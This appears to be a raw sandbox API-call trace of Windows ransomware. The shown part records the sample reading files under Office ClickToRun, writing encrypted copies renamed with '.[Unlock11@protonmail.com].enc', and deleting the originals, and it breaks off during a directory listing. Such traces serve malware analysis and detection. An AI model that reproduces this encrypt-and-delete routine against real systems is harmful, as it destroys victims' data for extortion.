[0119.126] GetCurrentThreadId () returned 0x9b0 [0119.126] GetLastError () returned 0x0 [0119.126] GetFileType (hFile=0x3ac) returned 0x1 [0119.126] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.127] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.127] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.127] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.127] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.127] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.127] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.127] GetLastError () returned 0x0 [0119.127] GetCurrentThreadId () returned 0x9b0 [0119.127] GetLastError () returned 0x0 [0119.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0119.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc490 | out: hHeap=0x2ad0000) returned 1 [0119.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0119.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0119.128] GetLastError () returned 0x0 [0119.128] GetLastError () returned 0x0 [0119.128] GetCurrentThreadId () returned 0x9b0 [0119.128] GetLastError () returned 0x0 [0119.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0119.128] GetLastError () returned 0x0 [0119.128] GetLastError () returned 0x0 [0119.128] GetCurrentThreadId () returned 0x9b0 [0119.128] GetLastError () returned 0x0 [0119.128] GetLastError () returned 0x0 [0119.130] GetLastError () returned 0x0 [0119.130] GetCurrentThreadId () returned 0x9b0 [0119.130] GetLastError () returned 0x0 [0119.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x12c3) returned 0x35c5908 [0119.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x12c5) returned 0x35c5908 [0119.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265458 [0119.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652d8 | out: hHeap=0x2ad0000) returned 1 [0119.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x12c8) returned 0x35bc9f0 [0119.131] GetCurrentThreadId () returned 0x9b0 [0119.131] GetLastError () returned 0x0 [0119.131] GetLastError () returned 0x0 [0119.131] GetLastError () returned 0x0 [0119.131] GetLastError () returned 0x0 [0119.131] GetCurrentThreadId () returned 0x9b0 [0119.131] GetLastError () returned 0x0 [0119.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc9f0 | out: hHeap=0x2ad0000) returned 1 [0119.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0119.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0119.132] GetLastError () returned 0x0 [0119.133] GetLastError () returned 0x0 [0119.133] GetCurrentThreadId () returned 0x9b0 [0119.133] GetLastError () returned 0x0 [0119.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bdcc0 | out: hHeap=0x2ad0000) returned 1 [0119.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.133] GetLastError () returned 0x0 [0119.133] GetLastError () returned 0x0 [0119.133] GetCurrentThreadId () returned 0x9b0 [0119.133] GetLastError () returned 0x0 [0119.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.134] GetLastError () returned 0x0 [0119.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0119.134] CloseHandle (hObject=0x3ac) returned 1 [0119.134] GetLastError () returned 0x0 [0119.134] GetCurrentThreadId () returned 0x9b0 [0119.134] GetLastError () returned 0x0 [0119.135] GetLastError () returned 0x0 [0119.135] CloseHandle (hObject=0x39c) returned 1 [0119.135] GetLastError () returned 0x0 [0119.135] GetCurrentThreadId () returned 0x9b0 [0119.135] GetLastError () returned 0x0 [0119.135] GetLastError () returned 0x0 [0119.135] GetLastError () returned 0x0 [0119.135] GetLastError () returned 0x0 [0119.135] GetLastError () returned 0x0 [0119.135] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0119.136] GetLastError () returned 0x0 [0119.137] GetCurrentThreadId () returned 0x9b0 [0119.137] GetLastError () returned 0x0 [0119.137] GetLastError () returned 0x0 [0119.137] GetLastError () returned 0x0 [0119.137] GetLastError () returned 0x0 [0119.137] GetLastError () returned 0x0 [0119.137] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml", lpFilePart=0x9bada4*="ServiceWatcherSchedule.xml") returned 0x54 [0119.137] GetCurrentThreadId () returned 0x9b0 [0119.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0119.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0119.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0119.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0119.138] GetCurrentThreadId () returned 0x9b0 [0119.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea228 [0119.138] GetLastError () returned 0x0 [0119.138] GetLastError () returned 0x0 [0119.138] GetLastError () returned 0x0 [0119.138] GetLastError () returned 0x0 [0119.138] GetCurrentThreadId () returned 0x9b0 [0119.138] GetLastError () returned 0x0 [0119.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea228 | out: hHeap=0x2ad0000) returned 1 [0119.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea228 [0119.139] GetLastError () returned 0x0 [0119.139] GetLastError () returned 0x0 [0119.139] GetLastError () returned 0x0 [0119.139] GetLastError () returned 0x0 [0119.139] GetCurrentThreadId () returned 0x9b0 [0119.139] GetLastError () returned 0x0 [0119.139] GetCurrentThreadId () returned 0x9b0 [0119.139] GetLastError () returned 0x0 [0119.139] GetLastError () returned 0x0 [0119.139] GetLastError () returned 0x0 [0119.139] GetLastError () returned 0x0 [0119.140] GetCurrentThreadId () returned 0x9b0 [0119.140] GetLastError () returned 0x0 [0119.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea228 | out: hHeap=0x2ad0000) returned 1 [0119.140] GetLastError () returned 0x0 [0119.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0119.140] GetLastError () returned 0x0 [0119.140] GetLastError () returned 0x0 [0119.140] GetLastError () returned 0x0 [0119.140] GetCurrentThreadId () returned 0x9b0 [0119.140] GetLastError () returned 0x0 [0119.140] GetLastError () returned 0x0 [0119.141] GetLastError () returned 0x0 [0119.141] GetLastError () returned 0x0 [0119.141] GetLastError () returned 0x0 [0119.141] GetCurrentThreadId () returned 0x9b0 [0119.141] GetLastError () returned 0x0 [0119.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0119.141] GetLastError () returned 0x0 [0119.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0119.141] GetLastError () returned 0x0 [0119.142] GetLastError () returned 0x0 [0119.142] GetLastError () returned 0x0 [0119.142] GetCurrentThreadId () returned 0x9b0 [0119.142] GetLastError () returned 0x0 [0119.142] GetLastError () returned 0x0 [0119.142] GetLastError () returned 0x0 [0119.142] GetLastError () returned 0x0 [0119.142] GetLastError () returned 0x0 [0119.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0119.142] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3fa7ec8f, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1162)) returned 1 [0119.143] GetLastError () returned 0x0 [0119.143] GetCurrentThreadId () returned 0x9b0 [0119.143] GetLastError () returned 0x0 [0119.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0119.143] GetCurrentThreadId () returned 0x9b0 [0119.143] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8f4 | out: pbBuffer=0x366a8f4) returned 1 [0119.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0119.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0119.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0119.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea0c0 [0119.143] GetCurrentThreadId () returned 0x9b0 [0119.144] GetLastError () returned 0x0 [0119.144] GetLastError () returned 0x0 [0119.144] GetLastError () returned 0x0 [0119.144] GetLastError () returned 0x0 [0119.144] GetCurrentThreadId () returned 0x9b0 [0119.144] GetLastError () returned 0x0 [0119.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea0c0 | out: hHeap=0x2ad0000) returned 1 [0119.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea4d0 [0119.144] GetLastError () returned 0x0 [0119.144] GetLastError () returned 0x0 [0119.145] GetLastError () returned 0x0 [0119.145] GetLastError () returned 0x0 [0119.145] GetCurrentThreadId () returned 0x9b0 [0119.145] GetLastError () returned 0x0 [0119.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea4d0 | out: hHeap=0x2ad0000) returned 1 [0119.145] GetCurrentThreadId () returned 0x9b0 [0119.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32653c8 [0119.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0119.145] GetLastError () returned 0x0 [0119.145] GetLastError () returned 0x0 [0119.145] GetLastError () returned 0x0 [0119.145] GetLastError () returned 0x0 [0119.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0119.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265358 [0119.146] GetLastError () returned 0x0 [0119.146] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0119.146] GetFileType (hFile=0x39c) returned 0x1 [0119.146] GetLastError () returned 0x0 [0119.146] GetCurrentThreadId () returned 0x9b0 [0119.146] GetLastError () returned 0x0 [0119.146] GetFileType (hFile=0x39c) returned 0x1 [0119.147] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.147] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.147] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.147] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.147] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.147] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.147] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.147] GetLastError () returned 0x0 [0119.147] GetCurrentThreadId () returned 0x9b0 [0119.147] GetLastError () returned 0x0 [0119.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0119.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa28b8 | out: hHeap=0x2ad0000) returned 1 [0119.147] GetLastError () returned 0x0 [0119.148] GetLastError () returned 0x0 [0119.148] GetLastError () returned 0x0 [0119.148] GetLastError () returned 0x0 [0119.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0119.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265468 [0119.148] GetLastError () returned 0x0 [0119.148] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0119.149] GetFileType (hFile=0x3ac) returned 0x1 [0119.149] GetLastError () returned 0x0 [0119.149] GetCurrentThreadId () returned 0x9b0 [0119.149] GetLastError () returned 0x0 [0119.149] GetFileType (hFile=0x3ac) returned 0x1 [0119.149] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.149] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.149] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.149] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.149] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.149] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.149] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.150] GetLastError () returned 0x0 [0119.150] GetCurrentThreadId () returned 0x9b0 [0119.150] GetLastError () returned 0x0 [0119.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc310 | out: hHeap=0x2ad0000) returned 1 [0119.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0119.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0119.150] GetLastError () returned 0x0 [0119.150] GetLastError () returned 0x0 [0119.150] GetCurrentThreadId () returned 0x9b0 [0119.150] GetLastError () returned 0x0 [0119.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0119.151] GetLastError () returned 0x0 [0119.151] GetLastError () returned 0x0 [0119.151] GetCurrentThreadId () returned 0x9b0 [0119.151] GetLastError () returned 0x0 [0119.151] GetLastError () returned 0x0 [0119.152] GetLastError () returned 0x0 [0119.152] GetCurrentThreadId () returned 0x9b0 [0119.152] GetLastError () returned 0x0 [0119.153] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x1177) returned 0x35c5908 [0119.153] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x1185) returned 0x35c5908 [0119.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265418 [0119.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0119.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1188) returned 0x35bc9f0 [0119.153] GetCurrentThreadId () returned 0x9b0 [0119.153] GetLastError () returned 0x0 [0119.153] GetLastError () returned 0x0 [0119.153] GetLastError () returned 0x0 [0119.153] GetLastError () returned 0x0 [0119.153] GetCurrentThreadId () returned 0x9b0 [0119.154] GetLastError () returned 0x0 [0119.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc9f0 | out: hHeap=0x2ad0000) returned 1 [0119.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0119.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0119.154] GetLastError () returned 0x0 [0119.155] GetLastError () returned 0x0 [0119.155] GetCurrentThreadId () returned 0x9b0 [0119.155] GetLastError () returned 0x0 [0119.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bdb80 | out: hHeap=0x2ad0000) returned 1 [0119.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.155] GetLastError () returned 0x0 [0119.155] GetLastError () returned 0x0 [0119.156] GetCurrentThreadId () returned 0x9b0 [0119.156] GetLastError () returned 0x0 [0119.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.156] GetLastError () returned 0x0 [0119.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0119.156] CloseHandle (hObject=0x3ac) returned 1 [0119.157] GetLastError () returned 0x0 [0119.157] GetCurrentThreadId () returned 0x9b0 [0119.157] GetLastError () returned 0x0 [0119.157] GetLastError () returned 0x0 [0119.157] CloseHandle (hObject=0x39c) returned 1 [0119.157] GetLastError () returned 0x0 [0119.157] GetCurrentThreadId () returned 0x9b0 [0119.157] GetLastError () returned 0x0 [0119.158] GetLastError () returned 0x0 [0119.158] GetLastError () returned 0x0 [0119.158] GetLastError () returned 0x0 [0119.158] GetLastError () returned 0x0 [0119.158] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0119.159] GetLastError () returned 0x0 [0119.159] GetCurrentThreadId () returned 0x9b0 [0119.159] GetLastError () returned 0x0 [0119.159] GetCurrentThreadId () returned 0x9b0 [0119.159] GetLastError () returned 0x0 [0119.159] GetLastError () returned 0x0 [0119.159] GetLastError () returned 0x0 [0119.160] GetLastError () returned 0x0 [0119.160] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll", lpFilePart=0x9bada4*="StreamServer.dll") returned 0x4a [0119.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0119.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0119.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0119.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0119.160] GetCurrentThreadId () returned 0x9b0 [0119.160] GetLastError () returned 0x0 [0119.160] GetLastError () returned 0x0 [0119.161] GetLastError () returned 0x0 [0119.161] GetLastError () returned 0x0 [0119.161] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll", lpFilePart=0x9bada4*="ucrtbase.dll") returned 0x46 [0119.161] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0119.161] GetCurrentThreadId () returned 0x9b0 [0119.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0119.161] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0119.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0119.161] GetLastError () returned 0x0 [0119.161] GetLastError () returned 0x0 [0119.162] GetLastError () returned 0x0 [0119.162] GetLastError () returned 0x0 [0119.162] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll", lpFilePart=0x9bada4*="vccorlib140.dll") returned 0x49 [0119.162] GetCurrentThreadId () returned 0x9b0 [0119.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0119.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0119.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0119.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0119.162] GetCurrentThreadId () returned 0x9b0 [0119.162] GetLastError () returned 0x0 [0119.162] GetLastError () returned 0x0 [0119.163] GetLastError () returned 0x0 [0119.163] GetLastError () returned 0x0 [0119.163] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll", lpFilePart=0x9bada4*="vcruntime140.dll") returned 0x4a [0119.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0119.163] GetCurrentThreadId () returned 0x9b0 [0119.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0119.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0119.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0119.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c374c0 | out: hHeap=0x2ad0000) returned 1 [0119.163] GetLastError () returned 0x0 [0119.163] GetLastError () returned 0x0 [0119.164] GetLastError () returned 0x0 [0119.164] GetLastError () returned 0x0 [0119.164] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7390 [0119.165] GetLastError () returned 0x0 [0119.165] GetCurrentThreadId () returned 0x9b0 [0119.165] GetLastError () returned 0x0 [0119.165] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0119.165] GetLastError () returned 0x0 [0119.165] GetCurrentThreadId () returned 0x9b0 [0119.165] GetLastError () returned 0x0 [0119.165] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc137d, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0119.165] GetLastError () returned 0x0 [0119.165] GetCurrentThreadId () returned 0x9b0 [0119.165] GetLastError () returned 0x0 [0119.166] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="ar-SA", 